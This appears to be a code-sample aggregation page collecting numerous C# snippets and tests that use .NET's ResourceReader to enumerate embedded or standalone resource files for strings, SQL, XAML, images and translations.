Наследование: IResourceReader, IEnumerable, IDisposable
Пример #1
0
        public static bool Phase2()
        {
            var resName = PhaseParam;

            var resReader = new ResourceReader(AsmDef.FindResource(res => res.Name == "app.resources").GetResourceStream());
            var en = resReader.GetEnumerator();
            byte[] resData = null;

            while (en.MoveNext())
            {
                if (en.Key.ToString() == resName)
                    resData = en.Value as byte[];
            }

            if(resData == null)
            {
                PhaseError = new PhaseError
                                 {
                                     Level = PhaseError.ErrorLevel.Critical,
                                     Message = "Could not read resource data!"
                                 };
            }

            PhaseParam = resData;
            return true;
        }
Пример #2
0
        /// <summary>
        /// 默认构造函数
        /// </summary>
        /// <param name="filepath">资源文件路径</param>
        public ResourceHelper(string filepath)
        {
            this.m_FilePath = filepath;
            this.m_Hashtable = new Hashtable();

            //如果存在
            if (File.Exists(filepath))
            {
                string tempFile = HConst.TemplatePath + "\\decryptFile.resx";

                //解密文件
                //System.Net.Security tSecurity = new Security();
                //tSecurity.DecryptDES(filepath, tempFile);
                File.Copy(filepath, tempFile);

                using (ResourceReader ResReader = new ResourceReader(tempFile))
                {
                    IDictionaryEnumerator tDictEnum = ResReader.GetEnumerator();
                    while (tDictEnum.MoveNext())
                    {
                        this.m_Hashtable.Add(tDictEnum.Key, tDictEnum.Value);
                    }

                    ResReader.Close();
                }

                //删除临时文件
                File.Delete(tempFile);
            }
        }
        protected SqlStatementsBase(Assembly assembly, string resourcePath)
        {
            Ensure.That(assembly, "assembly").IsNotNull();
            Ensure.That(resourcePath, "resourcePath").IsNotNullOrWhiteSpace();

			if (!resourcePath.EndsWith(".resources"))
				resourcePath = string.Concat(resourcePath, ".resources");

            resourcePath = string.Concat(assembly.GetName().Name, ".", resourcePath);
            
			_sqlStrings = new Dictionary<string, string>();

			using (var resourceStream = assembly.GetManifestResourceStream(resourcePath))
			{
				using (var reader = new ResourceReader(resourceStream))
				{
					var e = reader.GetEnumerator();
					while (e.MoveNext())
					{
						_sqlStrings.Add(e.Key.ToString(), e.Value.ToString());
					}
				}

                if(resourceStream != null)
				    resourceStream.Close();
			}
        }
 internal RuntimeResourceSet(string fileName) : base(false)
 {
     this._resCache = new Dictionary<string, ResourceLocator>(FastResourceComparer.Default);
     Stream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
     this._defaultReader = new ResourceReader(stream, this._resCache);
     base.Reader = this._defaultReader;
 }
Пример #5
0
    private void Embedded()
    {
        // <Snippet3>
        System.Reflection.Assembly assem =
            System.Reflection.Assembly.LoadFrom(@".\MyLibrary.dll");
        System.IO.Stream fs =
            assem.GetManifestResourceStream("MyCompany.LibraryResources.resources");
        var rr = new System.Resources.ResourceReader(fs);

        // </Snippet3>

        if (fs == null)
        {
            Console.WriteLine(fs == null);
            foreach (var name in assem.GetManifestResourceNames())
            {
                Console.WriteLine(name);
            }

            return;
        }
        else
        {
            Console.WriteLine(fs == null);
        }
    }
Пример #6
0
        public static void GetScriptsFromAssembly()
        {
            string fileName = AppDomain.CurrentDomain.GetData("FileName") as string;
            string resourceFileName = AppDomain.CurrentDomain.GetData("ResourceFileName") as string;
            IEnumerable<string> resourceFileNames = AppDomain.CurrentDomain.GetData("ResourceFileNames") as IEnumerable<string>;

            var dbScriptsToExecute = new Dictionary<string, string>();

            Assembly assembly = Assembly.LoadFile(Path.GetFullPath(fileName));

            foreach (string resourceName in assembly.GetManifestResourceNames())
            {
                if (FindResource(resourceName, resourceFileName, resourceFileNames))
                {
                    using (Stream s = assembly.GetManifestResourceStream(resourceName))
                    {
                        // Get scripts from the current component
                        var reader = new ResourceReader(s);

                        foreach (DictionaryEntry entry in reader)
                        {
                            dbScriptsToExecute.Add(entry.Key.ToString(), entry.Value.ToString());
                        }
                    }
                }
            }

            AppDomain.CurrentDomain.SetData("DbScriptsToExecute", dbScriptsToExecute);
        }
        public override ProblemCollection Check( Resource resource )
        {
            using( var stream = new MemoryStream( resource.Data ) )
              {
            try
            {
              using( ResourceReader reader = new ResourceReader( stream ) )
              {
            AssemblyResourceNameHelper nameHelper = AssemblyResourceNameHelper.Get( resource.DefiningModule.ContainingAssembly );

            IEnumerable<string> allTextResources = reader.Cast<DictionaryEntry>().Select( e => e.Key.ToString() );
            IEnumerable<string> allNotReferencedResources = allTextResources.Where( resourceName => !nameHelper.Contains( resourceName ) );

            foreach( var resourceName in allNotReferencedResources )
            {
              Problems.Add( new Problem( GetResolution( resourceName, resource.Name ), resourceName ) );
            }
              }
            }
            catch( Exception )
            {

            }
              }
              return Problems;
        }
Пример #8
0
		public void Constructor_IResourceReader ()
		{
			ResourceReader r = new ResourceReader (MonoTests.System.Resources.ResourceReaderTest.m_ResourceFile);
			ConstructorInfo ci = typeof (ResourceSet).GetConstructor (new Type [1] { typeof (IResourceReader) });
			ci.Invoke (new object [1] { r });
			// works - i.e. no LinkDemand
		}
Пример #9
0
        public static void ReadResource()
        {

            using (var ms2 = new MemoryStream())
            {
                using (var rw = GenerateResourceStream(s_dict, ms2))
                {
                    //Rewind to beginning of stream

                    ms2.Seek(0L, SeekOrigin.Begin);

                    var reder = new ResourceReader(ms2);

                    var s_found_list = new List<string>();
                    foreach (DictionaryEntry entry in reder)
                    {
                        string key = (string)entry.Key;
                        string value = (string)entry.Value;
                        string found = s_dict[key];
                        Assert.True(string.Compare(value, found) == 0, "expected: " + value + ", but got : " + found);
                        s_found_list.Add(key);
                    }

                    Assert.True(s_found_list.Count == s_dict.Count);
                }
            }

        }
Пример #10
0
        public MyResourceDataFile(string fileName)
        {
#if DOTNETCORE
            var reader = new System.Resources.Extensions.DeserializingResourceReader(fileName);
#else
            var reader = new System.Resources.ResourceReader(fileName);
#endif

            this.FileName = fileName;
            this.Name     = Path.GetFileNameWithoutExtension(fileName);
            var  objValues   = new Dictionary <string, object>();
            var  strValues   = new Dictionary <string, string>();
            var  resouceSet  = new System.Resources.ResourceSet(reader);
            var  enumer      = resouceSet.GetEnumerator();
            var  lstData     = new List <byte>();
            bool hasBmpValue = false;
            while (enumer.MoveNext())
            {
                string itemName = (string)enumer.Key;
                var    item     = new MyResourceDataItem();
                item.Name       = itemName;
                item.StartIndex = lstData.Count;
                item.Key        = _Random.Next(1000, int.MaxValue - 1000);
                item.Value      = enumer.Value;
                if (enumer.Value is string)
                {
                    item.IsBmp = false;
                    string str = (string)item.Value;
                    int    key = item.Key;
                    for (int iCount = 0; iCount < str.Length; iCount++, key++)
                    {
                        var v = str[iCount] ^ key;
                        lstData.Add((byte)(v >> 8));
                        lstData.Add((byte)(v & 0xff));
                    }
                }
                else if (enumer.Value is System.Drawing.Bitmap)
                {
                    item.IsBmp  = true;
                    hasBmpValue = true;
                    var ms = new System.IO.MemoryStream();
                    ((System.Drawing.Bitmap)item.Value).Save(ms, System.Drawing.Imaging.ImageFormat.Bmp);
                    var  bs2 = ms.ToArray();
                    byte key = (byte)item.Key;
                    for (int iCount = 0; iCount < bs2.Length; iCount++, key++)
                    {
                        bs2[iCount] = (byte)(bs2[iCount] ^ key);
                    }
                    lstData.AddRange(bs2);
                }
                else
                {
                    throw new NotSupportedException(item.Value.GetType().FullName);
                }
                item.BsLength = lstData.Count - item.StartIndex;
                this.Items.Add(item);
            }
            resouceSet.Close();
            this.Datas = lstData.ToArray();
        }
 /// <summary>
 /// Read the translations from an executable file
 /// </summary>
 public static IEnumerable<TranslationFileValue> ReadExecutableFile(String group, String file)
 {
     // Load the assembly
     Assembly asm = Assembly.LoadFile(file);
     // Explore all resources
     var resourceNames = asm.GetManifestResourceNames().Where(n => n.EndsWith(".resources"));
     foreach (var resName in resourceNames)
     {
         // Cleanup the name
         var cleanResName = resName.Replace(".resources", "");
         // Open the stream for String type
         using (var stream = asm.GetManifestResourceStream(resName))
         {
             if (stream != null)
             {
                 using (var reader = new ResourceReader(stream))
                 {
                     foreach (DictionaryEntry item in reader)
                     {
                         if (!(item.Key is string) && !(item.Value is string))
                             continue;
                         TranslationFileValue tData = new TranslationFileValue
                         {
                             ReferenceGroup = group,
                             ReferenceCode = item.Key.ToString(),
                             Translation = item.Value.ToString()
                         };
                         yield return tData;
                     }
                 }
             }
         }
     }
     yield break;
 }
Пример #12
0
		private void FixNow(string path)
		{
			try
			{
				string sound = Path.Combine(path, "zone", "snd");
				if (!Directory.Exists(sound))
					throw new Exception("リソース(資源)の一部が欠けてるようです。");

				sound = Path.Combine(sound, "en");
				Directory.CreateDirectory(sound);

				Assembly asm = Assembly.GetExecutingAssembly();
				Stream resource = asm.GetManifestResourceStream("SteamPatch_BO3_BETA.Properties.Resources.resources");
				using (IResourceReader render = new ResourceReader(resource))
				{
					IDictionaryEnumerator id = render.GetEnumerator();
					while (id.MoveNext())
					{
						byte[] bytes = (byte[])id.Value;
						string file = Path.Combine(sound, id.Key.ToString());

						File.WriteAllBytes(file, bytes);
					}
				}

				MessageBox.Show("適応しました", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Information);
			}
			catch (Exception ex)
			{
				MessageBox.Show(ex.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error);
			}
		}
Пример #13
0
		Stream LoadBaml(Resource res, string name)
		{
			EmbeddedResource er = res as EmbeddedResource;
			if (er != null) {
				Stream s = er.GetResourceStream();
				s.Position = 0;
				ResourceReader reader;
				try {
					reader = new ResourceReader(s);
				}
				catch (ArgumentException) {
					return null;
				}
				foreach (DictionaryEntry entry in reader.Cast<DictionaryEntry>().OrderBy(e => e.Key.ToString())) {
					if (entry.Key.ToString() == name) {
						if (entry.Value is Stream)
							return (Stream)entry.Value;
						if (entry.Value is byte[])
							return new MemoryStream((byte[])entry.Value);
					}
				}
			}
			
			return null;
		}
Пример #14
0
		List<Stream> ISkinBamlResolver.GetSkinBamlStreams(AssemblyName skinAssemblyName, string bamlResourceName)
		{
			List<Stream> skinBamlStreams = new List<Stream>();
			Assembly skinAssembly = Assembly.Load(skinAssemblyName);
			string[] resourcesNames = skinAssembly.GetManifestResourceNames();
			foreach (string resourceName in resourcesNames)
			{
				ManifestResourceInfo resourceInfo = skinAssembly.GetManifestResourceInfo(resourceName);
				if (resourceInfo.ResourceLocation != ResourceLocation.ContainedInAnotherAssembly)
				{
					Stream resourceStream = skinAssembly.GetManifestResourceStream(resourceName);
					using (ResourceReader resourceReader = new ResourceReader(resourceStream))
					{
						foreach (DictionaryEntry entry in resourceReader)
						{
							if (IsRelevantResource(entry, bamlResourceName))
							{
								skinBamlStreams.Add(entry.Value as Stream);
							}
							
						}
					}
				}
			}
			return skinBamlStreams;
		}
 protected override void Dispose(bool disposing)
 {
     if (base.Reader != null)
     {
         if (disposing)
         {
             lock (base.Reader)
             {
                 this._resCache = null;
                 if (this._defaultReader != null)
                 {
                     this._defaultReader.Close();
                     this._defaultReader = null;
                 }
                 this._caseInsensitiveTable = null;
                 base.Dispose(disposing);
                 return;
             }
         }
         this._resCache = null;
         this._caseInsensitiveTable = null;
         this._defaultReader = null;
         base.Dispose(disposing);
     }
 }
Пример #16
0
        /// <summary> Creates a new <code>DatabaseType</code>.
        /// 
        /// </summary>
        /// <param name="databaseType">the type of database
        /// </param>
        public DatabaseType(System.String databaseType)
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            string resourceName = string.Format("AutopatchNet.{0}.resources", databaseType.ToLower());
            System.IO.Stream rs = assembly.GetManifestResourceStream(resourceName);
            if (rs == null)
            {
                throw new System.ArgumentException("Could not find SQL resources file for database '" + databaseType + "'; make sure that there is a '" + databaseType.ToLower() + ".resources' file in package.");
            }
            try
            {
                ResourceReader reader = new ResourceReader(rs);
                IDictionaryEnumerator en = reader.GetEnumerator();
                while(en.MoveNext())
                {
                    string sqlkey = (string)en.Key;
                    string sql = (string)en.Value;
                    properties.Add(sqlkey, sql);
                }

                reader.Close();
            }
            catch (System.IO.IOException e)
            {
                throw new System.ArgumentException("Could not read SQL resources file for database '" + databaseType + "'.", e);
            }
            finally
            {
                rs.Close();
            }

            this.databaseType = databaseType;
        }
        /// <summary>
        /// Loads the resource dictionaries.
        /// </summary>
        public IResourceDictionaryLoader LoadResourceDictionaries()
        {
            string assemblyName = Assembly.GetName().Name;
            Stream stream = Assembly.GetManifestResourceStream(assemblyName + ".g.resources");

            using (var reader = new ResourceReader(stream))
            {
                foreach (DictionaryEntry entry in reader)
                {
                    var key = (string) entry.Key;
                    key = key.Replace(".baml", ".xaml");

                    string uriString = String.Format("pack://application:,,,/{0};Component/{1}", assemblyName, key);

                    var dictionary = new ResourceDictionary
                                         {
                                             Source = new Uri(uriString)
                                         };

                    Application.Current.Resources.MergedDictionaries.Add(dictionary);
                }
            }

            return this;
        }
Пример #18
0
        public XamlSnippetProvider(Assembly assembly, string resourceIdString)
        {
            var resourceIds = new[] { resourceIdString };

            foreach (var resourceId in resourceIds)
            {
                try
                {
                    using (var reader = new ResourceReader(assembly.GetManifestResourceStream(resourceId)))
                    {
                        var enumerator = reader.GetEnumerator();
                        while (enumerator.MoveNext())
                        {
                            var name = enumerator.Key as string;
                            var xaml = enumerator.Value as string;
                            if (name != null && xaml != null)
                            {
                                snippets.Add(new Snippet(name, xaml));
                            }
                        }
                    }
                }
                catch (Exception e)
                {
                    Debug.WriteLine($"Cannot load snippets. Exception: {e}");
                }
            }
        }
Пример #19
0
        public static Dictionary <string, string> GetAllThemeNames()
        {
            var    asm    = Assembly.GetExecutingAssembly();
            Stream stream = asm.GetManifestResourceStream(asm.GetName().Name + ".g.resources");

            var pages      = new List <Uri>();
            var themeNames = new Dictionary <string, string>();

            using (var reader = new System.Resources.ResourceReader(stream))
            {
                foreach (System.Collections.DictionaryEntry entry in reader)
                {
                    var keyName = entry.Key as string;

                    if (keyName.StartsWith("themes") && keyName.EndsWith("baml"))
                    {
                        var fileName    = keyName.Replace(".baml", "").Split('/')[1];
                        var displayName = fileName.ToLower().Replace("_", " ");

                        themeNames.Add(fileName, displayName);
                    }
                }
            }

            return(themeNames);
        }
Пример #20
0
        private void Form1_Load(object sender, EventArgs e)
        {
            Assembly thisAssembly = Assembly.GetExecutingAssembly();

            string[] test = Assembly.GetExecutingAssembly().GetManifestResourceNames();

            foreach (string file in test)
            {
                Stream rgbxml = thisAssembly.GetManifestResourceStream(
            file);
                try
                {
                    ResourceReader res = new ResourceReader(rgbxml);
                    IDictionaryEnumerator dict = res.GetEnumerator();
                    while (dict.MoveNext())
                    {
                        Console.WriteLine("   {0}: '{1}' (Type {2})",
                                          dict.Key, dict.Value, dict.Value.GetType().Name);

                        if (dict.Key.ToString().EndsWith(".ToolTip") || dict.Key.ToString().EndsWith(".Text") || dict.Key.ToString().EndsWith("HeaderText") || dict.Key.ToString().EndsWith("ToolTipText"))
                        {
                            dataGridView1.Rows.Add();

                            dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colFile.Index].Value = System.IO.Path.GetFileName(file);
                            dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colInternal.Index].Value = dict.Key.ToString();
                            dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colEnglish.Index].Value = dict.Value.ToString();
                            dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colOtherLang.Index].Value = dict.Value.ToString();
                        }

                    }

                } catch {}
            }
        }
Пример #21
0
        private void build_page_1()
        {
            TextView tv1 = new TextView ();

            try
            {
                string rez = "Adeptus.Resources.resources";
                string key = "mystring1";
                string resourceType = "";
                byte[] resourceData;
                ResourceReader r = new ResourceReader(rez);
                r.GetResourceData (key, out resourceType, out resourceData);
                r.Close();
                System.Text.UTF8Encoding enc = new System.Text.UTF8Encoding();
                tv1.Buffer.Text = enc.GetString (resourceData);
            }
            catch (Exception exp)
            {
                tv1.Buffer.Text = exp.Message;
            }

            tv1.WrapMode = WrapMode.Word;
            tv1.Editable = false;

            this.AppendPage (tv1);
            this.SetPageTitle (tv1, "Introduction");
            this.SetPageType (tv1, AssistantPageType.Intro);
            this.SetPageComplete (tv1, true);
        }
 internal RuntimeResourceSet(String fileName) : base(false)
 {
     BCLDebug.Log("RESMGRFILEFORMAT", "RuntimeResourceSet .ctor(String)");
     _resCache = new Dictionary<String, ResourceLocator>(FastResourceComparer.Default);
     Stream stream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
     _defaultReader = new ResourceReader(stream, _resCache);
     Reader = _defaultReader;
 }
Пример #23
0
 public void readResX(string path)
 {
     ResourceReader rd = new ResourceReader(path);
     foreach (DictionaryEntry d in rd)
     {
         Image image = (Image)d.Value;
         image.Save("" + d.Key + ".jpg");
     }
 }
		public void ConstructorString () 
		{
			if (!File.Exists(m_ResourceFile)) {
				Fail ("Resource file is not where it should be:" + Path.Combine (Directory.GetCurrentDirectory(), m_ResourceFile));
			}
			ResourceReader r = new ResourceReader(m_ResourceFile);
			AssertNotNull ("ResourceReader", r);
			r.Close();
		}
Пример #25
0
		public void GenerateCode(FileProjectItem item, CustomToolContext context)
		{
			/*context.GenerateCodeDomAsync(item, context.GetOutputFileName(item, ".Designer"),
			                             delegate {
			                             	return GenerateCodeDom();
			                             });*/
			string inputFilePath = item.FileName;
			
			// Ensure that the generated code will not conflict with an
			// existing class.
			if (context.Project != null) {
				IProjectContent pc = ParserService.GetProjectContent(context.Project);
				if (pc != null) {
					IClass existingClass = pc.GetClass(context.OutputNamespace + "." + StronglyTypedResourceBuilder.VerifyResourceName(Path.GetFileNameWithoutExtension(inputFilePath), pc.Language.CodeDomProvider), 0);
					if (existingClass != null) {
						if (!IsGeneratedResourceClass(existingClass)) {
							context.MessageView.AppendLine(String.Format(System.Globalization.CultureInfo.CurrentCulture, ResourceService.GetString("ResourceEditor.ResourceCodeGeneratorTool.ClassConflict"), inputFilePath, existingClass.FullyQualifiedName));
							return;
						}
					}
				}
			}
			
			IResourceReader reader;
			if (string.Equals(Path.GetExtension(inputFilePath), ".resx", StringComparison.OrdinalIgnoreCase)) {
				reader = new ResXResourceReader(inputFilePath);
				((ResXResourceReader)reader).BasePath = Path.GetDirectoryName(inputFilePath);
			} else {
				reader = new ResourceReader(inputFilePath);
			}
			
			Hashtable resources = new Hashtable();
			foreach (DictionaryEntry de in reader) {
				resources.Add(de.Key, de.Value);
			}
			
			string[] unmatchable = null;
			
			string generatedCodeNamespace = context.OutputNamespace;
			
			context.WriteCodeDomToFile(
				item,
				context.GetOutputFileName(item, ".Designer"),
				StronglyTypedResourceBuilder.Create(
					resources,        // resourceList
					Path.GetFileNameWithoutExtension(inputFilePath), // baseName
					generatedCodeNamespace, // generatedCodeNamespace
					context.OutputNamespace, // resourcesNamespace
					context.Project.LanguageProperties.CodeDomProvider, // codeProvider
					createInternalClass,             // internal class
					out unmatchable
				));
			
			foreach (string s in unmatchable) {
				context.MessageView.AppendLine(String.Format(System.Globalization.CultureInfo.CurrentCulture, ResourceService.GetString("ResourceEditor.ResourceCodeGeneratorTool.CouldNotGenerateResourceProperty"), s));
			}
		}
Пример #26
0
 // ******************************************************************
 private static void DebugPrintResources(System.Resources.ResourceReader reader)
 {
     Debug.Print("Begin dump resources: ---------------------");
     foreach (DictionaryEntry item in reader)
     {
         Debug.Print(item.Key.ToString());
     }
     Debug.Print("End   dump resources: ---------------------");
 }
Пример #27
0
 private void TranslateFromStream(FileStream stream, string outputDirectory)
 {
     var resourceReader = new ResourceReader(stream);
     var enumerator = resourceReader.GetEnumerator();
     while (enumerator.MoveNext())
     {
         var resource = new Resource(enumerator.Key, enumerator.Value);
         xamlTranslator.Translate(resource, outputDirectory);
     }
 }
Пример #28
0
 public StyleImageManager()
 {
     var imagesResource = GetImagesResource();
     using (var rr = new ResourceReader(imagesResource))
     {
         LoadImages(rr, StyleConfig.Instance.Theme + Path.DirectorySeparatorChar, false);
         if (StyleConfig.Instance.Theme != _defaultTheme)
             LoadImages(rr, _defaultTheme + Path.DirectorySeparatorChar, false);
     }
 }
Пример #29
0
 public static Stream GetResourceStream(string resName)
 {
     var assembly = Assembly.GetExecutingAssembly();
     var strResources = assembly.GetName().Name + ".g.resources";
     var rStream = assembly.GetManifestResourceStream(strResources);
     var resourceReader = new ResourceReader(rStream);
     var items = resourceReader.OfType<DictionaryEntry>();
     var stream = items.First(x => (x.Key as string) == resName.ToLower()).Value;
     return (UnmanagedMemoryStream)stream;
 }
Пример #30
0
		public override void Run()
		{
			// Here an example that shows how to access the current text document:
			
			ITextEditorControlProvider tecp = WorkbenchSingleton.Workbench.ActiveContent as ITextEditorControlProvider;
			if (tecp == null) {
				// active content is not a text editor control
				return;
			}
			
			// Get the active text area from the control:
			TextArea textArea = tecp.TextEditorControl.ActiveTextAreaControl.TextArea;
			if (!textArea.SelectionManager.HasSomethingSelected)
				return;
			// get the selected text:
			string text = textArea.SelectionManager.SelectedText;
			
			string sdSrcPath = Path.Combine(Path.GetDirectoryName(GetType().Assembly.Location),
			                                "../../../..");
			
			using (ResourceReader r = new ResourceReader(Path.Combine(sdSrcPath,
			                                                          "Main/StartUp/Project/Resources/StringResources.resources"))) {
				IDictionaryEnumerator en = r.GetEnumerator();
				// Goes through the enumerator, printing out the key and value pairs.
				while (en.MoveNext()) {
					if (object.Equals(en.Value, text)) {
						SetText(textArea, en.Key.ToString(), text);
						return;
					}
				}
			}
			
			string resourceName = MessageService.ShowInputBox("Add Resource", "Please enter the name for the new resource.\n" +
			                                                  "This should be a namespace-like construct, please see what the names of resources in the same component are.", PropertyService.Get("ResourceToolLastResourceName"));
			if (resourceName == null || resourceName.Length == 0) return;
			PropertyService.Set("ResourceToolLastResourceName", resourceName);
			
			string purpose = MessageService.ShowInputBox("Add Resource", "Enter resource purpose (may be empty)", "");
			if (purpose == null) return;
			
			SetText(textArea, resourceName, text);
			
			string path = Path.GetFullPath(Path.Combine(sdSrcPath, "Tools/StringResourceTool/bin/Debug"));
			ProcessStartInfo info = new ProcessStartInfo(path + "\\StringResourceTool.exe",
			                                             "\"" + resourceName + "\" "
			                                             + "\"" + text + "\" "
			                                             + "\"" + purpose + "\"");
			info.WorkingDirectory = path;
			try {
				Process.Start(info);
			} catch (Exception ex) {
				MessageService.ShowError(ex, "Error starting " + info.FileName);
			}
		}
 public static void ReadResource()
 {
     FileStream stream = File.OpenRead(ResourceFile);
     using (var reader = new ResourceReader(stream))
     {
         foreach (DictionaryEntry resource in reader)
         {
             WriteLine($"{resource.Key} {resource.Value}");
         }
     }
 }
Пример #32
0
		public System.Resources.IResourceReader GetResourceReader(System.Globalization.CultureInfo info)
		{				
			if (reader == null)
			{
				if (ms == null)
				{
					ms = new MemoryStream();
				}
				reader = new ResourceReader(ms);
			}
			return reader;
		}
Пример #33
0
 private static string GetString(Stream stream, string resourceID)
 {
     ResourceReader reader = new ResourceReader(stream);
     foreach (DictionaryEntry entry in reader)
     {
         if (string.Equals(resourceID, (string) entry.Key, StringComparison.OrdinalIgnoreCase))
         {
             return (string) entry.Value;
         }
     }
     return null;
 }
 public IResourceReader GetResourceReader(CultureInfo info)
 {
     if (this.reader == null)
     {
         if (this.ms == null)
         {
             this.ms = new MemoryStream();
         }
         this.reader = new ResourceReader(this.ms);
     }
     return this.reader;
 }
Пример #35
0
        /// <summary>
        /// Load piece sets from resource
        /// </summary>
        /// <returns></returns>
        public static SortedList <string, PieceSet> LoadPieceSetFromResource()
        {
            SortedList <string, PieceSet> arrRetVal;
            Assembly asm;
            string   strResName;
            string   strKeyName;
            string   strPieceSetName;

            string[]       arrPart;
            Stream         streamResource;
            ResourceReader resReader;
            PieceSet       pieceSet;

            arrRetVal      = new SortedList <string, PieceSet>(64);
            asm            = typeof(App).Assembly;
            strResName     = asm.GetName().Name + ".g.resources";
            streamResource = asm.GetManifestResourceStream(strResName);
            try {
                resReader      = new System.Resources.ResourceReader(streamResource);
                streamResource = null;
                using (resReader) {
                    foreach (DictionaryEntry dictEntry in resReader.Cast <DictionaryEntry>())
                    {
                        strKeyName = Uri.UnescapeDataString(dictEntry.Key as string);
                        if (strKeyName != null)
                        {
                            strKeyName = strKeyName.ToLower();
                            if (strKeyName.StartsWith("piecesets/") && strKeyName.EndsWith(".baml"))
                            {
                                arrPart = strKeyName.Split('/');
                                if (arrPart.Length == 3)
                                {
                                    strPieceSetName = arrPart[1];
                                    if (!arrRetVal.ContainsKey(strPieceSetName))
                                    {
                                        pieceSet = new PieceSetStandard(strPieceSetName, strPieceSetName);
                                        arrRetVal.Add(strPieceSetName, pieceSet);
                                    }
                                }
                            }
                        }
                    }
                }
            } finally {
                if (streamResource != null)
                {
                    streamResource.Dispose();
                }
            }
            return(arrRetVal);
        }
Пример #36
0
    public static int Main(string[] args)
    {
        System.Resources.ResourceReader res = new System.Resources.ResourceReader(args[0]);
        string type = "";

        Byte[] value = null;
        res.GetResourceData(args[1], out type, out value);
        using (System.IO.Stream stdout = Console.OpenStandardOutput())
        {
            stdout.Write(value, 4, value.Length - 4);
        }
        res.Close();
        return(0);
    }
Пример #37
0
    public static string[] GetResourceNames()
    {
        var    assembly = Assembly.GetExecutingAssembly();
        string resName  = assembly.GetName().Name + ".g.resources";

        using (var stream = assembly.GetManifestResourceStream(resName))
        {
            using (var reader = new System.Resources.ResourceReader(stream))
            {
                return(reader.Cast <DictionaryEntry>().Select(entry =>
                                                              (string)entry.Key).ToArray());
            }
        }
    }
Пример #38
0
    private void Standalone()
    {
        // <Snippet2>
        // Instantiate a standalone .resources file from its filename.
        var rr1 = new System.Resources.ResourceReader("Resources1.resources");

        // Instantiate a standalone .resources file from a stream.
        var fs = new System.IO.FileStream(@".\Resources2.resources",
                                          System.IO.FileMode.Open);
        var rr2 = new System.Resources.ResourceReader(fs);

        // </Snippet2>

        Console.WriteLine("rr1: {0}", rr1 != null);
        Console.WriteLine("rr2: {0}", rr2 != null);
    }
Пример #39
0
        private IList <DictionaryEntry> GetAllAssemblyResources(Assembly assembly)
        {
#if debug
            var resourcesName = assembly.GetName().Name + ".g";
            var manager       = new ResourceManager(resourcesName, assembly);
            var resourceSet   = manager.GetResourceSet(CultureInfo.CurrentUICulture, true, true);
            return(resourceSet.OfType <DictionaryEntry>().ToList());
#else
            string resName = assembly.GetName().Name + ".g.resources";
            using (var stream = assembly.GetManifestResourceStream(resName))
            {
                using (var reader = new System.Resources.ResourceReader(stream))
                {
                    return(reader.Cast <DictionaryEntry>().ToList());
                }
            }
#endif
        }
Пример #40
0
 private static System.Collections.Hashtable Load(string[] fielNames)
 {
     System.Collections.Hashtable hashtable = new System.Collections.Hashtable();
     for (int i = 0; i < fielNames.Length; i++)
     {
         string text = fielNames[i];
         if (System.IO.File.Exists(text))
         {
             System.Resources.ResourceReader resourceReader = new System.Resources.ResourceReader(text);
             foreach (System.Collections.DictionaryEntry dictionaryEntry in resourceReader)
             {
                 if (!hashtable.ContainsKey(dictionaryEntry.Key))
                 {
                     hashtable.Add(dictionaryEntry.Key, dictionaryEntry.Value);
                 }
             }
             resourceReader.Close();
         }
     }
     return(hashtable);
 }
Пример #41
0
        private static ResourceSet InternalGetResourceSetFromSerializedData(Stream store, string readerTypeName, string?resSetTypeName, ResourceManager.ResourceManagerMediator mediator)
        {
            IResourceReader reader;

            // Permit deserialization as long as the default ResourceReader is used
            if (ResourceManager.IsDefaultType(readerTypeName, ResourceManager.ResReaderTypeName))
            {
                reader = new ResourceReader(
                    store,
                    new Dictionary <string, ResourceLocator>(FastResourceComparer.Default),
                    permitDeserialization: true);
            }
            else
            {
                Type     readerType = Type.GetType(readerTypeName, throwOnError: true) !;
                object[] args       = new object[1];
                args[0] = store;
                reader  = (IResourceReader)Activator.CreateInstance(readerType, args) !;
            }

            object[] resourceSetArgs = new object[1];
            resourceSetArgs[0] = reader;

            Type?resSetType = mediator.UserResourceSet;

            if (resSetType == null)
            {
                Debug.Assert(resSetTypeName != null, "We should have a ResourceSet type name from the custom resource file here.");
                resSetType = Type.GetType(resSetTypeName, true, false) !;
            }

            ResourceSet rs = (ResourceSet)Activator.CreateInstance(resSetType,
                                                                   BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.CreateInstance,
                                                                   null,
                                                                   resourceSetArgs,
                                                                   null,
                                                                   null) !;

            return(rs);
        }
Пример #42
0
        public static int FillValues2(string fileName, Dictionary <string, System.Tuple <string, byte[]> > values)
        {
            int result = 0;

            using (var reader = new System.Resources.ResourceReader(fileName))
            {
                var enumer = reader.GetEnumerator();
                while (enumer.MoveNext())
                {
                    string name     = Convert.ToString(enumer.Key);
                    string resType  = null;
                    byte[] itemData = null;
                    reader.GetResourceData(name, out resType, out itemData);
                    if (resType != null && resType.Length > 0 && itemData != null && itemData.Length > 0)
                    {
                        values[name] = new Tuple <string, byte[]>(resType, itemData);
                        result++;
                    }
                }
            }
            return(result);
        }
Пример #43
0
        //确保程序集的资源元数据信息都已加载
        private static void makeSureLoadAssemblyResourceMetaData(Assembly assembly)
        {
            String assemblyName = assembly.GetName().Name;

            lock (typeof(ResourceUtils))
            {
                //嵌入的资源
                if (!assemblyEmbedResourceDict.ContainsKey(assembly))
                {
                    assemblyEmbedResourceDict[assembly] = assembly.GetManifestResourceNames();
                }
                //Resource的资源
                string resBaseName = assemblyName + ".g.resources";
                if (!assemblyResourceResourceDict.ContainsKey(assembly))
                {
                    assemblyResourceResourceDict[assembly] = new Dictionary <string, string>();
                    if (assemblyEmbedResourceDict[assembly].Contains(resBaseName))
                    {
                        String[] resourceList = new String[0];
                        using (var stream = assembly.GetManifestResourceStream(resBaseName))
                        {
                            if (stream != null)
                            {
                                using (var reader = new System.Resources.ResourceReader(stream))
                                {
                                    resourceList = reader.Cast <DictionaryEntry>().Select(entry =>
                                                                                          (string)entry.Key).ToArray();
                                }
                            }
                        }
                        foreach (var resource in resourceList)
                        {
                            assemblyResourceResourceDict[assembly][resource.Replace('/', '.')] = resource;
                        }
                    }
                }
            }
        }
Пример #44
0
        static void InitResources()
        {
